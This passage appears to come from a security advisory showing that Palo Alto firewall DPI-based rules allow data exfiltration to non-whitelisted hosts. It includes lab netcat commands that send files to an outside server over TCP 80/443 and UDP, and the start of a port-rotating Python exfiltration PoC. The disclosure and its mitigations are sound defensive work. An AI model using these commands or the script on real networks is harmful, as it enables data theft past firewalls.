fa0666341096d42e263a023f57714f45034eebf02e338a3b837a3b29ba10562f  rand.hex
kali-lan-client% for i in $(seq 1 10); do nc -v 172.16.35.3 80 &lt; rand.hex;sleep 1.5;done
test [172.16.35.3] 80 (http) open
test [172.16.35.3] 80 (http) open
test [172.16.35.3] 80 (http) open
test [172.16.35.3] 80 (http) open
test [172.16.35.3] 80 (http) open
test [172.16.35.3] 80 (http) open
test [172.16.35.3] 80 (http) open
test [172.16.35.3] 80 (http) open
test [172.16.35.3] 80 (http) open
test [172.16.35.3] 80 (http) open
</code></pre>
<p>And we can confirm that the remote server successfully received files from the client.</p>
<p>Files received on the server:</p>
<pre><code>kali-wan-server# ls -la
total 248
drwxr-xr-x 2 root root  4096 Oct 23 19:38 .
drwxr-xr-x 4 root root  4096 Oct 23 19:31 ..
-rw-r--r-- 1 root root 21226 Oct 23 19:38 exfiltration-http-1
-rw-r--r-- 1 root root 21226 Oct 23 19:39 exfiltration-http-10
-rw-r--r-- 1 root root 21226 Oct 23 19:38 exfiltration-http-2
-rw-r--r-- 1 root root 21226 Oct 23 19:38 exfiltration-http-3
-rw-r--r-- 1 root root 21226 Oct 23 19:38 exfiltration-http-4
-rw-r--r-- 1 root root 21226 Oct 23 19:38 exfiltration-http-5
-rw-r--r-- 1 root root 21226 Oct 23 19:39 exfiltration-http-6
-rw-r--r-- 1 root root 21226 Oct 23 19:39 exfiltration-http-7
-rw-r--r-- 1 root root 21226 Oct 23 19:39 exfiltration-http-8
-rw-r--r-- 1 root root 21226 Oct 23 19:39 exfiltration-http-9
kali-wan-server# sha256sum exfiltration-http-*  
fa0666341096d42e263a023f57714f45034eebf02e338a3b837a3b29ba10562f  exfiltration-http-1
fa0666341096d42e263a023f57714f45034eebf02e338a3b837a3b29ba10562f  exfiltration-http-2
fa0666341096d42e263a023f57714f45034eebf02e338a3b837a3b29ba10562f  exfiltration-http-3
fa0666341096d42e263a023f57714f45034eebf02e338a3b837a3b29ba10562f  exfiltration-http-4
fa0666341096d42e263a023f57714f45034eebf02e338a3b837a3b29ba10562f  exfiltration-http-5
fa0666341096d42e263a023f57714f45034eebf02e338a3b837a3b29ba10562f  exfiltration-http-6
fa0666341096d42e263a023f57714f45034eebf02e338a3b837a3b29ba10562f  exfiltration-http-7
fa0666341096d42e263a023f57714f45034eebf02e338a3b837a3b29ba10562f  exfiltration-http-8
fa0666341096d42e263a023f57714f45034eebf02e338a3b837a3b29ba10562f  exfiltration-http-9
fa0666341096d42e263a023f57714f45034eebf02e338a3b837a3b29ba10562f  exfiltration-http-10
kali-wan-server#
</code></pre>
<p><a href="#exfiltration-tcp-http-payload">Content of the random data - Random data sent to the remote server (base64 version) - found in the Annexes</a>.</p>
<p>An attacker can exfiltrate files with chunks of 21 KB without any filtering.</p>
<p>It was determined that exfiltration is due to dependencies of applications.</p>
<p>For example, the <code>facebook</code> application will import several dependencies that will enable data exfiltration.</p>
<p>Dependencies automatically added when adding access to applications:</p>
<p><img alt="" src="images/2025-palo-alto-dpi-facebook-rules.png" /></p>
<p><a href="images/2025-palo-alto-dpi-facebook-rules-full.png">Click here for full image</a></p>
<h3>Risk</h3>
<p>Threat actors can exfiltrate data without any filtering.</p>
<h3>Recommendation</h3>
<p>There are vulnerabilities inside the <code>service-http</code> service in Palo Alto firewalls when using a specific application (Palo Alto wording for available Deep Packet Inspection mechanisms), allowing an attacker to transmit any data to the Internet. The application linked to the <code>http</code> service provides information to the Deep Packet Inspection (DPI) mechanisms implemented in the <code>service-http</code> service to block any unwanted traffic.</p>
<p>Any rule based on the <code>service-http</code> service (e.g. access to websites) with a specific application without a destination address is vulnerable to data exfiltration. </p>
<p>Do not use DPI-based rules.</p>
<p>In the firewall rules, always specify the IPv4 and IPv6 addresses of the remote services that you want to allow.</p>
<p><a id="exfiltration-tcp-https"></a></p>
<h2>Details - Exfiltration of data using TCP and 443/tcp - Deep Packet Inspection based on "service-https"</h2>
<h3>Observations</h3>
<p>It was observed that it is possible to exfiltrate any amount of data to the Internet using TCP with the port 443 when the <code>service-https</code> is selected with a specific application.</p>
<p>For example, when adding access to a website through an application (e.g. <code>ms-office365</code>, <code>facebook</code>, ...), the Service/URL will be set to <code>service-https</code> or <code>application-default</code>.</p>
<p>The <code>application-default</code> service will automatically enable <code>service-https</code> for websites.</p>
<p>And the <code>service-https</code> Deep Packet Inspection (DPI) mechanism will allow the exfiltration of data to any HTTPS website as shown below (even to non-whitelisted websites/IPs).</p>
<p>Basic firewall rules:</p>
<p><img alt="" src="images/2025-palo-alto-dpi-rules-https.png" /></p>
<p><a href="images/2025-palo-alto-dpi-rules-https-full.png">Click here for full image</a></p>
<p>Adding either <code>reddit</code>, <code>facebook</code> or <code>ms-office365</code> or any other website will allow data exfiltration.</p>
<p>Since no IP addresses are specified, this rule will match any IP. This functionality is completely broken and allows an attacker to exfiltrate chunks of 5KB of data to any IP before the connection is correctly blocked by the Palo Alto firewall.</p>
<p>The remote server will have a netcat server listening on port 443/tcp and will receive files - <strong>this server is NOT whitelisted</strong>.</p>
<p>Receiving a file over TCP from the client:</p>
<pre><code>kali-wan-server# for i in $(seq 1 10); do nc -l -v -p 443 &gt; exfiltration-https-reddit-$i;sleep 1;done
listening on [any] 443 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 55438
^C
listening on [any] 443 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 55454
^C
listening on [any] 443 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 55460
^C
listening on [any] 443 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 43658
^C
listening on [any] 443 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 43664
^C
listening on [any] 443 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 43682
^C
listening on [any] 443 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 43694
^C
listening on [any] 443 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 60390
^C
listening on [any] 443 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 60406
^C
listening on [any] 443 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 60416
^C
kali-wan-server#
</code></pre>
<p>The client sends random data to the remote server using port 443/tcp.</p>
<p>Sending random data to any remote server on port 443/tcp:</p>
<pre><code>kali-lan-client# for i in $(seq 1 10); do cat /dev/urandom | hexdump -C | nc -v 172.16.35.3 443;sleep 1;done
test [172.16.35.3] 443 (https) open
^C
test [172.16.35.3] 443 (https) open
^C
test [172.16.35.3] 443 (https) open
^C
test [172.16.35.3] 443 (https) open
^C
test [172.16.35.3] 443 (https) open
^C
test [172.16.35.3] 443 (https) open
^C
test [172.16.35.3] 443 (https) open
^C
test [172.16.35.3] 443 (https) open
^C
test [172.16.35.3] 443 (https) open
^C
test [172.16.35.3] 443 (https) open
^C
kali-lan-client#
</code></pre>
<p>We can confirm that the remote server successfully received files from the client.</p>
<p>Files received on the server:</p>
<pre><code>kali-wan-server# ls -la
total 88
drwxr-xr-x 2 root root 4096 Oct 23 19:21 .
drwxr-xr-x 3 root root 4096 Oct 23 19:18 ..
-rw-r--r-- 1 root root 5792 Oct 23 19:21 exfiltration-https-reddit-1
-rw-r--r-- 1 root root 5792 Oct 23 19:21 exfiltration-https-reddit-10
-rw-r--r-- 1 root root 5792 Oct 23 19:21 exfiltration-https-reddit-2
-rw-r--r-- 1 root root 5792 Oct 23 19:21 exfiltration-https-reddit-3
-rw-r--r-- 1 root root 5792 Oct 23 19:21 exfiltration-https-reddit-4
-rw-r--r-- 1 root root 5792 Oct 23 19:21 exfiltration-https-reddit-5
-rw-r--r-- 1 root root 5792 Oct 23 19:21 exfiltration-https-reddit-6
-rw-r--r-- 1 root root 5792 Oct 23 19:21 exfiltration-https-reddit-7
-rw-r--r-- 1 root root 5792 Oct 23 19:21 exfiltration-https-reddit-8
-rw-r--r-- 1 root root 5792 Oct 23 19:21 exfiltration-https-reddit-9
kali-wan-server# cat exfiltration-https-reddit-1
00000000  56 0a 71 05 f1 00 56 96  25 88 e4 ab 8a 9a 94 4e  |V.q...V.%......N|
00000010  10 e1 62 26 72 67 bb 93  61 c6 26 56 f5 8a c0 ce  |..b&amp;rg..a.&amp;V....|
00000020  a0 a9 b5 27 ea d6 81 c4  3a 0a 44 6a d5 6e 52 d3  |...'....:.Dj.nR.|
00000030  44 2d c1 06 f4 46 12 0d  8f e7 96 63 35 25 26 cb  |D-...F.....c5%&amp;.|
00000040  18 c5 3b 1b a8 a6 53 a6  cc b6 ed cc d7 a3 fa 86  |..;...S.........|
00000050  94 d5 43 c8 08 a0 f1 01  82 d7 16 ed 36 48 0e 4f  |..C.........6H.O|
00000060  65 28 4d e5 d7 bf 20 f4  b2 00 b8 89 b8 0d 52 2c  |e(M... .......R,|
00000070  ba b6 42 9c 67 87 9c 94  e1 4a d7 8c 2b e2 97 79  |..B.g....J..+..y|
00000080  74 b8 63 b2 c3 fd 26 0e  1d b9 00 65 ec 79 a3 f7  |t.c...&amp;....e.y..|
00000090  cc eb ef 18 61 dc 0b b6  72 81 36 e2 c7 34 9b 79  |....a...r.6..4.y|
000000a0  c7 ac ea 81 48 ca 0a 17  80 7c df dd ca 0d 6d ba  |....H....|....m.|
000000b0  fe 17 a3 f4 3c 94 fa f7  7b 10 56 3b a9 63 65 2b  |....&lt;...{.V;.ce+|
000000c0  f4 a1 fd a1 36 85 06 28  d8 80 50 d5 1b 73 ee ad  |....6..(..P..s..|
000000d0  47 8c d2 eb 73 44 d3 76  be cb 0d c7 a7 ea 7b 1e  |G...sD.v......{.|
000000e0  24 a0 e1 78 80 17 7d cf  5c 90 7c 56 a2 ac 38 e5  |$..x..}.\.|V..8.|
000000f0  48 ff 7d d8 92 a7 a9 dc  9e 50 48 e4 37 3e 39 0b  |H.}......PH.7&gt;9.|
00000100  bb 40 3c 8b d7 54 c3 41  c3 b7 18 88 21 c9 17 e7  |.@&lt;..T.A....!...|
00000110  52 e4 bc 8c a8 d2 93 45  35 7a 01 f6 fb e7 14 93  |R......E5z......|
00000120  d1 9c 86 2f b2 72 c7 0a  74 83 cc 7e 35 95 00 44  |.../.r..t..~5..D|
00000130  37 06 71 6d 0b 4f 02 5f  6d e1 89 c9 74 a5 fd e5  |7.qm.O._m...t...|
00000140  66 49 ef e7 23 c5 0e f3  34 7d 4a 18 35 8d 19 47  |fI..#...4}J.5..G|
00000150  83 7e 5c 96 57 13 30 cf  0a d8 f3 7c ff db 41 07  |.~\.W.0....|..A.|
00000160  50 04 a6 4b 4f 12 7f 59  09 90 6e 98 09 50 cd e0  |P..KO..Y..n..P..|
00000170  b0 32 6a 0e b6 1c 7e 4f  81 bf 71 e1 5f a4 63 75  |.2j...~O..q._.cu|
00000180  ba ee dc e9 d5 46 55 99  8e 8f 94 e1 a1 5d ea d4  |.....FU......]..|
00000190  c1 e4 90 89 f9 3d 33 3c  e0 38 f9 26 e0 76 9c f1  |.....=3&lt;.8.&amp;.v..|
000001a0  fb 71 57 4d 82 24 af ad  ca 5f 66 cd cc a1 db d9  |.qWM.$..._f.....|
000001b0  28 2e f7 22 e0 fe de 01  c7 83 b1 20 6b 1d e6 ec  |(.."....... k...|
000001c0  e1 62 f0 df de e1 86 c3  d7 d6 3a 1c 7c 33 a8 41  |.b........:.|3.A|
000001d0  bf 51 8c 47 d4 be f1 fc  b5 70 18 1c 0e a3 e9 4e  |.Q.G.....p.....N|
000001e0  67 0e 52 d3 31 d3 be d3  90 f8 59 c4 99 56 1a 84  |g.R.1.....Y..V..|
000001f0  fd 25 d0 d2 0c 6b ec fc  e0 d5 60 dc fe c2 9f 7c  |.%...k....`....||
00000200  d9 67 3b f9 10 5e db 27  9c 0c 72 9c 9b df eb c6  |.g;..^.'..r.....|
00000210  2b c6 cb d4 6d 4e 06 56  13 a0 02 66 05 bb 94 7a  |+...mN.V...f...z|
00000220  01 8f 0b 1e c5 c1 39 4e  62 2c ab 2d f3 38 ee b4  |......9Nb,.-.8..|
00000230  09 a2 9f 02 2d d8 e6 1a  df e1 e6 56 d0 5a 8f 50  |....-......V.Z.P|
00000240  cc 10 fa 55 64 aa 78 f8  0c 1a 53 f9 da 0d 25 e8  |...Ud.x...S...%.|
00000250  1d e2 21 83 a6 0a 8f c1  e0 46 d2 fb 2b dd 2c 2e  |..!......F..+.,.|
00000260  f1 e7 55 59 1f ae e9 03  2a 6b 49 24 85 65 f8 4c  |..UY....*kI$.e.L|
00000270  ee df b6 34 4f 15 08 71  9b a3 b7 24 38 a4 80 c9  |...4O..q...$8...|
00000280  84 e2 a0 08 ba 93 37 f6  40 6d 30 93 15 48 65 52  |......7.@m0..HeR|
00000290  5e 74 f1 88 6d 5b 46 c4  2c 94 66 c4 32 c5 35 94  |^t..m[F.,.f.2.5.|
000002a0  65 e4 8d 97 4e 18 11 ba  0c a0 81 3e 93 0e 7b c0  |e...N......&gt;..{.|
000002b0  cb 6f 52 f4 c2 15 d8 25  2c 7a b1 70 1f dc 4a 14  |.oR....%,z.p..J.|
000002c0  ad 72 4b 48 af df 92 a6  b8 9e 5b d3 e9 dc 22 be  |.rKH......[...".|
000002d0  f5 53 2a d7 ef 4b 2f 58  7b f3 1e 4e b1 6e b5 3f  |.S*..K/X{..N.n.?|
000002e0  17 e2 1b 83 58 c3 0f fa  60 d9 87 05 2c 89 7e bc  |....X...`...,.~.|
000002f0  ec 1f 31 8a 08 aa 20 bb  ea a0 75 c8 bf a5 25 44  |..1... ...u...%D|
00000300  e7 46 21 78 27 c0 ca 87  0f 4e b8 fc 4e 66 92 c5  |.F!x'....N..Nf..|
00000310  bc 9a a2 84 9d aa fd e1  68 39 47 be d8 62 66 26  |........h9G..bf&amp;|
00000320  87 ec 93 df 53 94 2a a0  f1 35 0f 82 e6 cc 9c bd  |....S.*..5......|
00000330  a3 e7 30 f6 6a d4 c2 73  37 3a e6 39 d3 1e 6d 98  |..0.j..s7:.9..m.|
00000340  bf 93 22 d2 44 59 46 20  61 fd 0c 65 84 58 2c 37  |..".DYF a..e.X,7|
00000350  84 da 05 3a 73 b0 15 4d  38 9c 7a 72 1b ae c5 3f  |...:s..M8.zr...?|
00000360  ab eb 47 a1 0d a0 45 32  7a 70 89 31 03 14 0c 5c  |..G...E2zp.1...\|
00000370  26 dc bc 96 6c 55 67 60  9b fa 05 88 91 61 1c 2c  |&amp;...lUg`.....a.,|
00000380  80 59 be b2 25 32 90 e3  25 a5 26 2c 61 9f 4d ac  |.Y..%2..%.&amp;,a.M.|
00000390  ec ca aa 63 54 e7 1b f7  32 d1 18 14 f7 43 ae ba  |...cT...2....C..|
000003a0  87 75 2c 90 5d b9 ed 6b  a9 2f 81 c3 75 29 e0 0c  |.u,.]..k./..u)..|
000003b0  99 94 89 d5 41 9b b9 47  cb 50 c6 7f be d8 fa 10  |....A..G.P......|
000003c0  23 10 83 31 86 b6 4d 1e  e8 63 9f d8 8b 25 15 f2  |#..1..M..c...%..|
000003d0  00 f1 2f ee 51 60 1e c7  e3 22 e3 a4 6c 4c b8 3c  |../.Q`..."..lL.&lt;|
000003e0  6a 30 31 d0 38 f0 f5 13  5e 20 5e a3 60 1a a7 2c  |j01.8...^ ^.`..,|
000003f0  16 f9 71 2c d5 2b a3 36  96 c2 d2 90 6a 57 89 18  |..q,.+.6....jW..|
00000400  7e 0b f9 c2 63 ce eb db  f2 ce 84 9d a0 ab 6d b0  |~...c.........m.|
00000410  90 3a bd a7 5d 6f af d5  72 d2 27 0a 5b 32 f2 06  |.:..]o..r.'.[2..|
00000420  f2 c9 e8 1d c9 4e 1c 54  ca f1 39 80 1f 82 bb 9d  |.....N.T..9.....|
00000430  d3 ef 01 3d e8 5f d9 db  24 bf f3 7c a6 5c 7e ad  |...=._..$..|.\~.|
00000440  61 f7 a5 9b a4 e3 2b 29  76 b1 62 c3 89 55 82 91  |a.....+)v.b..U..|
00000450  f8 c3 3b 51 9f fa 01 db  38 cd b1 3c 2d cb 94 8e  |..;Q....8..&lt;-...|
00000460  54 1c 0c 84 69 5f 11 12  de 46 ce b5 d5 82 9c 84  |T...i_...F......|
00000470  52 69 a1 2a 29 64 95 5b  eb cb 8c af 0a 83 5d aa  |Ri.*)d.[......].|
00000480  93 69 e7 e5 aa 88 35 98  60 74 3b e7 fd 02 a4 93  |.i....5.`t;.....|
00000490  a1 e2 4b 3f 83
kali-wan-server#
</code></pre>
<p>An attacker can exfiltrate files without any filtering. For example, <code>/usr/share/doc/libxml-writer-perl/examples/directory-as-atom.pl</code>.</p>
<p>Sending a file over TCP to 172.16.35.3:443/tcp:</p>
<pre><code>kali-lan-client# ls -la /usr/share/doc/libxml-writer-perl/examples/directory-as-atom.pl
-rwxr-xr-x 1 root root 3470 Apr 24  2020 /usr/share/doc/libxml-writer-perl/examples/directory-as-atom.pl
kali-lan-client# cat /usr/share/doc/libxml-writer-perl/examples/directory-as-atom.pl| nc -v 172.16.35.3 443 
test [172.16.35.3] 443 (https) open
^C
kali-lan-client#
</code></pre>
<p>And the server (172.16.35.3) received the file:</p>
<pre><code>kali-wan-server# nc -l -v -p 443 &gt; directory-as-atom.pl     
listening on [any] 443 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 54290

kali-wan-server# ls -la directory-as-atom.pl
-rw-r--r-- 1 root root 3470 Oct 23 19:24 directory-as-atom.pl

kali-wan-server# cat directory-as-atom.pl
#!/usr/bin/perl -w

# A full example that presents a directory as an Atom feed
# It demonstrates namespace and formatting control.
# Intended to productise the /junk convention.

# Usage: directory-as-atom.pl &lt;local directory&gt; &lt;public URL&gt; [feed title] [feed subtitle]

# e.g., directory-as-atom.pl /home/user/public_html/junk http://www.example.com/~user/junk/ &gt;index.atom

use strict;

use DirHandle;
use URI::URL;
use DateTime;

use XML::Writer;

my ($dir, $base, $title, $subtitle) = @ARGV;

defined($base) or die "Usage: directory-as-atom.pl &lt;local directory&gt; &lt;public URL&gt; [feed title] [feed subtitle]";

$dir ||= '.';

$title ||= '/junk/';
$subtitle ||= 'ls -ltr $dir | head -10';


my $uid = (stat($dir))[4];

my $dh = DirHandle-&gt;new($dir) || die "Unable to opendir $dir: $!";

my @de;

while(my $e = $dh-&gt;read()) {
        # Skip dotfiles
        next if ($e =~ /^\./);

        my $n = "$dir/$e";

        next unless (-f $n);

        my ($mtime, $bytes) = (stat($n))[9,7];

        my $desc; # undef, for now

        if (defined($mtime)) {push(@de, [$e, $mtime, $desc, $bytes])};
}

undef($dh);
[...]
kali-wan-server#
</code></pre>
<h3>Risk</h3>
<p>Threat actors can exfiltrate data without any filtering.</p>
<h3>Recommendation</h3>
<p>There are vulnerabilities inside the <code>service-https</code> service in Palo Alto firewalls when using a specific application (Palo Alto wording for available Deep Packet Inspection mechanisms), allowing an attacker to transmit any data to the Internet. The application linked to the <code>https</code> service provides information to the Deep Packet Inspection (DPI) mechanisms implemented in the <code>service-https</code> service to block any unwanted traffic.</p>
<p>Any rule based on the <code>service-https</code> service (e.g. access to websites) with a specific application without a destination address is vulnerable to data exfiltration.</p>
<p>Do not use DPI-based rules.</p>
<p>In the firewall rules, always specify the IPv4 and IPv6 addresses of the remote services that you want to allow.</p>
<p><a id="exfiltration-udp"></a></p>
<h2>Exfiltration of data using UDP and any port</h2>
<h3>Observations</h3>
<p>It was observed that it is possible to exfiltrate any amount of data to the Internet using UDP when adding specific applications.</p>
<p>For example, when adding access to a website through an application (e.g. <code>ms-office365</code>, ...), the Service/URL will be set to <code>application-default</code>.</p>
<p>The <code>application-default</code> service will automatically allow communication to any remote UDP port for <code>ms-office365</code>, allowing the exfiltration of data to any remote IP as shown below.</p>
<p>Basic firewall rules:</p>
<p><img alt="" src="images/2025-palo-alto-dpi-rules-udp.png" /></p>
<p><a href="images/2025-palo-alto-dpi-rules-udp-full.png">Click here for full image</a></p>
<p>The "full-https-access" firewall rule only provides access to reddit (application: <code>reddit</code> with service: <code>service-https</code>) and is unrelated to this test.</p>
<p>Since no IP addresses are specified, this rule will match any IP. This functionality is completely broken and allows an attacker to exfiltrate multiple 64KB-chunks of data to any IP before the connection is correctly blocked by the Palo Alto firewall.</p>
<p>The remote server will have a netcat server listening on port 82/udp and will receive files - <strong>this server is NOT whitelisted</strong>.</p>
<p>Receiving a file over UDP from the client:</p>
<pre><code>kali-wan-server% for i in $(seq 1 10); do nc -l -v -n -u -p 82 &gt; exfiltration-udp-$i;sleep 1;done
listening on [any] 82 ...
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 49519
^C
listening on [any] 82 ...
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 42878
^C
listening on [any] 82 ...
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 47965
^C
listening on [any] 82 ...
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 42639
^C
listening on [any] 82 ...
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 52678
^C
listening on [any] 82 ...
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 38716
^C
listening on [any] 82 ...
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 46421
^C
listening on [any] 82 ...
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 46280
^C
listening on [any] 82 ...
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 42620
^C
listening on [any] 82 ...
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 54255
^C
kali-wan-server%
</code></pre>
<p>The client sends random data to the remote server using port 82/udp (any random UDP port will work).</p>
<p>Sending random data to any remote server on port 82/udp:</p>
<pre><code>kali-lan-client% for i in $(seq 1 10); do cat /dev/urandom | hexdump -C | nc -v -n -u 172.16.35.3 82;sleep 2;done       
(UNKNOWN) [172.16.35.3] 82 (?) open
^C
(UNKNOWN) [172.16.35.3] 82 (?) open
^C
(UNKNOWN) [172.16.35.3] 82 (?) open
^C
(UNKNOWN) [172.16.35.3] 82 (?) open
^C
(UNKNOWN) [172.16.35.3] 82 (?) open
^C
(UNKNOWN) [172.16.35.3] 82 (?) open
^C
(UNKNOWN) [172.16.35.3] 82 (?) open
^C
(UNKNOWN) [172.16.35.3] 82 (?) open
^C
(UNKNOWN) [172.16.35.3] 82 (?) open
^C
(UNKNOWN) [172.16.35.3] 82 (?) open
^C
kali-lan-client%
</code></pre>
<p>We can confirm that the remote server successfully received files from the client:</p>
<pre><code>kali-wan-server% ls -la
total 316
drwxrwxr-x  2 user user  4096 Oct 24 11:11 .
drwx------ 21 user user  4096 Oct 24 11:09 ..
-rw-rw-r--  1 user user 32768 Oct 24 11:10 exfiltration-udp-1
-rw-rw-r--  1 user user 32768 Oct 24 11:11 exfiltration-udp-10
-rw-rw-r--  1 user user 32768 Oct 24 11:11 exfiltration-udp-2
-rw-rw-r--  1 user user 32768 Oct 24 11:11 exfiltration-udp-3
-rw-rw-r--  1 user user 32768 Oct 24 11:11 exfiltration-udp-4
-rw-rw-r--  1 user user 32768 Oct 24 11:11 exfiltration-udp-5
-rw-rw-r--  1 user user 32768 Oct 24 11:11 exfiltration-udp-6
-rw-rw-r--  1 user user 32768 Oct 24 11:11 exfiltration-udp-7
-rw-rw-r--  1 user user 32768 Oct 24 11:11 exfiltration-udp-8
-rw-rw-r--  1 user user 32768 Oct 24 11:11 exfiltration-udp-9
kali-wan-server%
</code></pre>
<p><a href="#exfiltration-udp-payload">Content of the random data (for example, exfiltration-udp-2) - found in the Annexes</a>.</p>
<p>Logs showing exfiltration of data:</p>
<p><img alt="" src="images/2025-palo-alto-dpi-logs.png" /></p>
<p>After multiple tests, it appears that an attacker can exfiltrate files without any filtering, with UDP datagrams (64KB each) - a PoC is provided in the below section.</p>
<p>Any port can be used. For example, port 31337/udp.</p>
<p>Sending remote data over port 31337/udp using the previous exfiltration-udp-2 file allowing to confirm that the file is not modified in transit by the Palo Alto appliance:</p>
<pre><code>kali-lan-client% ls -la exfiltration-udp-2 
-rw-rw-r-- 1 user user 32768 Oct 24 16:01 exfiltration-udp-2
kali-lan-client% sha256sum exfiltration-udp-2 
fd0c656bbe8fb0e4f97b319e74fc2b91c6a1137ad9dee00a6b24e224d90c5344  exfiltration-udp-2
kali-lan-client% nc -v -n -u 172.16.35.3 31337 &lt; exfiltration-udp-2
(UNKNOWN) [172.16.35.3] 31337 (?) open
^C
kali-lan-client%
</code></pre>
<p>Then, the remote server receives the file.</p>
<p>Receiving data over port 31337/udp:</p>
<pre><code>kali-wan-server% nc -l -v -n -u -p 31337 &gt; exfiltration-udp-2
listening on [any] 31337 ...
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 37049
^C
kali-wan-server% ls -la exfiltration-udp-2
-rw-rw-r-- 1 user user 32768 Oct 24 16:03 exfiltration-udp-2
kali-wan-server% sha256sum exfiltration-udp-2
fd0c656bbe8fb0e4f97b319e74fc2b91c6a1137ad9dee00a6b24e224d90c5344  exfiltration-udp-2
kali-wan-server%
</code></pre>
<p>The checksum matches, indicating that the file was successfully exfiltrated.</p>
<p>It was determined that exfiltration is due to dependencies of applications.</p>
<p>For example, the <code>ms-office365</code> application will import several dependencies that will enable data exfiltration:</p>
<p>Dependencies automatically added:</p>
<p><img alt="" src="images/2025-palo-alto-dpi-ms-office365-rules.png" /></p>
<p>The traffic is detected as it is related to the <code>access-to-office</code> firewall rule, with incorrect amounts of exfiltrated data detected in the logs.</p>
<p><a href="images/2025-palo-alto-dpi-logs-full.png">Click here for full image</a></p>
<p><a id="exfiltration-udp-poc"></a></p>
<h3>PoC</h3>
<p>A complete PoC is provided, allowing to exfiltrate any amount of data:</p>
<p><code>client.py</code> - will send a file over UDP datagrams and switch to a new UDP port after sending 4 datagrams:</p>
<pre><code>kali-lan-client% ./client.py -h                             
usage: client.py [-h] -f FILE -ip IP [-p PORT] [-c CHUNKSIZE] [-n PORTNUMBER] [-s SLEEP]

options:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  file
  -ip IP                ip
  -p PORT, --port PORT  beginning port (default 31337)
  -c CHUNKSIZE, --chunksize CHUNKSIZE
                        chunk size (default 7000)
  -n PORTNUMBER, --portnumber PORTNUMBER
                        default port (default 1000)
  -s SLEEP, --sleep SLEEP
                        default sleep before using a new port (default 0)
kali-lan-client%
</code></pre>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #408080; font-style: italic">#!/usr/bin/python</span>

<span style="color: #008000; font-weight: bold">import</span> <span style="color: #0000FF; font-weight: bold">socket</span><span style="color: #666666">,</span> <span style="color: #0000FF; font-weight: bold">sys</span><span style="color: #666666">,</span> <span style="color: #0000FF; font-weight: bold">time</span><span style="color: #666666">,</span> <span style="color: #0000FF; font-weight: bold">argparse</span>

<span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">createsocket</span>():
  sock <span style="color: #666666">=</span> socket<span style="color: #666666">.</span>socket(socket<span style="color: #666666">.</span>AF_INET, socket<span style="color: #666666">.</span>SOCK_DGRAM)
  <span style="color: #008000; font-weight: bold">return</span> sock

<span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">exfiltrate</span>(port):
  f <span style="color: #666666">=</span> <span style="color: #008000">open</span>(<span style="color: #008000">file</span>, <span style="color: #BA2121">&quot;r&quot;</span>)

  <span style="color: #008000; font-weight: bold">while</span> <span style="color: #008000">True</span>:
    s <span style="color: #666666">=</span> createsocket()
    <span style="color: #008000; font-weight: bold">for</span> i <span style="color: #AA22FF; font-weight: bold">in</span> <span style="color: #008000">range</span> (<span style="color: #666666">0</span>, <span style="color: #666666">4</span>):
      data <span style="color: #666666">=</span> f<span style="color: #666666">.</span>read(chunk_size)
      s<span style="color: #666666">.</span>sendto(data<span style="color: #666666">.</span>encode(<span style="color: #BA2121">&quot;utf-8&quot;</span>), (ip, port))
    s<span style="color: #666666">.</span>close()
    port <span style="color: #666666">=</span> port <span style="color: #666666">+</span> <span style="color: #666666">1</span>
    time<span style="color: #666666">.</span>sleep(sleep)
    <span style="color: #008000; font-weight: bold">if</span> port <span style="color: #666666">&gt;</span> args<span style="color: #666666">.</span>port <span style="color: #666666">+</span> args<span style="color: #666666">.</span>portnumber:
      <span style="color: #008000; font-weight: bold">break</span>
  time<span style="color: #666666">.</span>sleep(<span style="color: #666666">3</span>)

<span style="color: #008000; font-weight: bold">if</span> <span style="color: #19177C">__name__</span> <span style="color: #666666">==</span> <span style="color: #BA2121">&quot;__main__&quot;</span>:
  parser <span style="color: #666666">=</span> argparse<span style="color: #666666">.</span>ArgumentParser()
  parser<span style="color: #666666">.</span>add_argument(<span style="color: #BA2121">&quot;-f&quot;</span>, <span style="color: #BA2121">&quot;--file&quot;</span>, <span style="color: #008000">type</span><span style="color: #666666">=</span><span style="color: #008000">str</span>, help<span style="color: #666666">=</span><span style="color: #BA2121">&quot;file&quot;</span>, required<span style="color: #666666">=</span><span style="color: #008000">True</span>)
